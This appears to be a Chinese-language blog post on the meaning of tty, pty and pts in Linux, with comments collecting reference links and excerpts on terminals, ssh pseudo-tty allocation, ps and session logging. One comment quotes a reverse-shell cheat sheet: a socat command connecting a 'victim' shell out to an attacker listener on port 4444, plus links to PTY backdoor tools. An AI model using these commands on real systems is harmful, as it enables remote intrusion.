Linux中的tty和pts的含义以及区别
由来：
在Linux下使用w/who命令查看当前系统上有哪些人的时候经常可以看到pts/0和pts/1这样的字眼，上网一看，貌似还有tty1这种的，于是我就想知道它们之间到底是个什么区别、分别又是什么含义？
搜索关键字：
http://search.aol.com/aol/search?q=linux+tty+pts
一些知识点：
A tty is a native terminal device, the backend is either hardware or kernel emulated.{tty就是一个本地的终端设备，后端连的是实体机或模拟器}(More info can be found in man tty.更详细的内容可以查看tty的manual)
A pty (pseudo terminal device) is a terminal device which is emulated by an other program (example: xterm, screen, or ssh are such programs). A pts is the slave part of a pty.{pty也是一个终端设备，不过是由其它程序模拟出来的，比如：xterm/screen/ssh；而pts指的就是就是pty的从设备}(More info can be found in man pty.更详细的内容可以查看pty的manual)
{简而言之}:
A pty is created by a process through posix_openpt() (which usually opens the special device /dev/ptmx), and is constituted by a pair of bidirectional character devices:
- The master part, which is the file descriptor obtained by this process through this call, is used to emulate a terminal. After some initialization, the second part can be unlocked with unlockpt(), and the master is used to receive or send characters to this second part (slave).
- The slave part, which is anchored in the filesystem as /dev/pts/x (the real name can be obtained by the master through ptsname() ) behaves like a native terminal device (/dev/ttyx). In most cases, a shell is started that uses it as a controlling terminal.
《 “Linux中的tty和pts的含义以及区别” 》 有 13 条评论
terminal/shell/tty/console之间的区别到底在哪？(What is the exact difference between a ‘terminal’, a ‘shell’, a ‘tty’ and a ‘console’?)
https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con
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TTY (是TeleTYpewriter的缩写)
terminal = tty = 文本输入/输出环境
console = 物理终端
shell = 命令行解释器
`
TTY解密
http://www.linusakesson.net/programming/tty/
https://askubuntu.com/questions/14284/why-is-a-virtual-terminal-virtual-and-what-why-where-is-the-real-terminal
https://unix.stackexchange.com/questions/117981/what-are-the-responsibilities-of-each-pseudo-terminal-pty-component-software
ssh命令的 `-t` 和 `-T` 选项
https://stackoverflow.com/questions/7114990/pseudo-terminal-will-not-be-allocated-because-stdin-is-not-a-terminal
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-T Disable pseudo-tty allocation.(禁用 伪终端-pty 分配)
-t Force pseudo-tty allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple -t options force tty allocation, even if ssh has no local tty.(强制 伪终端-pty 分配，这对于需要和屏幕打交道的程序来说是非常有用的。多个 -t 选项强制 tty 的分配，即便SSH可能没有本地tty)
`
https://stackoverflow.com/questions/7085429/terminating-ssh-session-executed-by-bash-script
https://stackoverflow.com/questions/17900760/what-is-pseudo-tty-allocation-ssh-and-github
https://stackoverflow.com/questions/21659637/how-to-fix-sudo-no-tty-present-and-no-askpass-program-specified-error
将普通 Shell 提升为交互式 TTY Shell 的方法一览
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
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Method 1: Python pty module
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Method 2: Using socat
On Kali (listen):
socat file:’tty’,raw,echo=0 tcp-listen:4444
On Victim (launch):
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Method 3: Upgrading from netcat with magic
stty raw -echo
`
Python PTY backdoors – full PTY or nothing!
https://github.com/infodox/python-pty-shells
https://github.com/infodox/python-pty-shells/blob/master/udp_pty_backconnect.py
FFM – 后渗透辅助工具，基于 Python 实现的 TTY Shell 后门
https://github.com/JusticeRage/FFM
在任何地方通过web访问您的终端
https://github.com/zhaojh329/rtty
WebTTY – 一款通过 WebRTC 共享终端会话的工具
https://github.com/maxmcd/webtty
[译] TTY 的前世今生（2008）
https://arthurchiao.github.io/blog/tty-demystified-zh/
http://www.linusakesson.net/programming/tty/index.php
Linux中的tty、pty、pts与ptmx辨析
https://blog.csdn.net/zhoucheng05_13/article/details/86510469
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一、 tty（teletypes）
tty设备包括虚拟控制台，串口以及伪终端设备。tty的种类有很多：
1.1 tty
其中，tty是当前进程的控制终端的设备特殊文件。
当我们将输出重定向到/dev/tty文件时，结果总会输出到当前终端上。
1.2 ttyn
tty0~tty63是虚拟终端的设备特殊文件。/dev/tty0代表当前虚拟控制台，而/dev/tty1等代表第一个虚拟控制台。使用Alt+[F1—F6]组合键时，我们就可以切换到tty2、tty3等上面去。
1.3 ttySn
ttyS代表tty serial，/dev/ttyS*是串行终端设备。这些设备文件会映射到物理串行端口，如果我们执行下列命令：
echo 2 > /dev/ttyS2
那么在对应的物理端口，如COM2上可以检测到输出。
二、 pty（pseudo-tty）
pty全称pseudo-tty，即伪终端设备，用于远程连接。它由master和slave两端构成，在任何一端的输入都会传达到另一端。与tty不同，系统中并不存在pty这种文件，它是由pts（pseudo-terminal slave）和ptmx（pseudo-teiminal master）两种设备文件来实现的。
三、 pts（pseudo-terminal slave）
pts（pseudo-terminal slave）即伪终端的slave端。在Linux的/dev/pts/文件夹下有对应设设备文件。
四、 ptmx(pseudo-terminal master)
ptmx是伪终端的master端。
`
https://linux.die.net/man/4/ptmx
https://unix.stackexchange.com/questions/470717/documentation-on-ptmx-and-pts
Linux 中的 console、terminal、tty、pty、pts 有哪些区别？
https://www.zhihu.com/question/65280843
View full commands in ps output
https://unix.stackexchange.com/questions/229541/view-full-commands-in-ps-output
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$ man ps
-f Display the uid, pid, parent pid, recent CPU usage, process start time, controlling tty, elapsed CPU usage, and the associated command. If the -u option is also used, display the user name rather then the numeric uid. When -o or -O is used to add to the display following -f, the command field is not truncated as severely as it is in other formats.
显示uid、pid、ppid、最近的CPU使用率、进程开始时间、控制tty、已占用的CPU资源以及相关的命令。如果还使用了-u选项，则显示用户名而不是数字uid。当在到-f之后添加-o或-O选项时，命令字段不会像在其他格式中那样被截断。
ps -f
ps -f | head
ps -fww
`
Unix 终端系统（TTY）是如何工作的
https://waynerv.com/posts/how-tty-system-works/
`
长久以来，我们把终端和 shell 视作开发者理所当然的基本工具，但其底层涉及的组件和机制却并不简单。作为一名后端工程师，每天使用终端的时长甚至会超过代码编辑器，深入了解其背后的实现是有必要的。本文将尝试尽量清晰全面的介绍 Unix 所使用的终端系统。
本文内容主要以 Linux 系统的具体实现为基础，但因为其遵循 SUSv3（Single UNIX Specification Version 3）规范，因此也适用于其他 Unix 系统（如 macOS）。
1. tty 的由来
* 电传打字机
* 视频终端
* 终端模拟器
2. job controll
* process group 和 job
* session 和控制终端
* shell 与 tty 的协作
3. tty 的内部实现
* linux 的 tty 实现
* line discipline
* 配置 tty 的行为
4. 伪终端
* 为什么需要伪终端
* 什么是伪终端
* 伪终端是如何工作的
* UNIX 98 伪终端的实现
* 远程终端示例
5. 总结
6. 参考链接
`
ttyrpld – tty capturing daemon
https://sourceforge.net/projects/ttyrpld/
How do I capture the output of a tty while still allowing sent characters to reach the correct destination?
https://serverfault.com/questions/138916/how-do-i-capture-the-output-of-a-tty-while-still-allowing-sent-characters-to-rea
rootsh
https://sourceforge.net/projects/rootsh/
`
Rootsh is a wrapper for shells which logs all echoed keystrokes and terminal output to a file and/or to syslog. It’s main purpose is the auditing of users who need a shell with root privileges. They start rootsh through the sudo mechanism.
`
How to get the Input and output in a terminal to a text file? [duplicate]
https://askubuntu.com/questions/557289/how-to-get-the-input-and-output-in-a-terminal-to-a-text-file
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script
`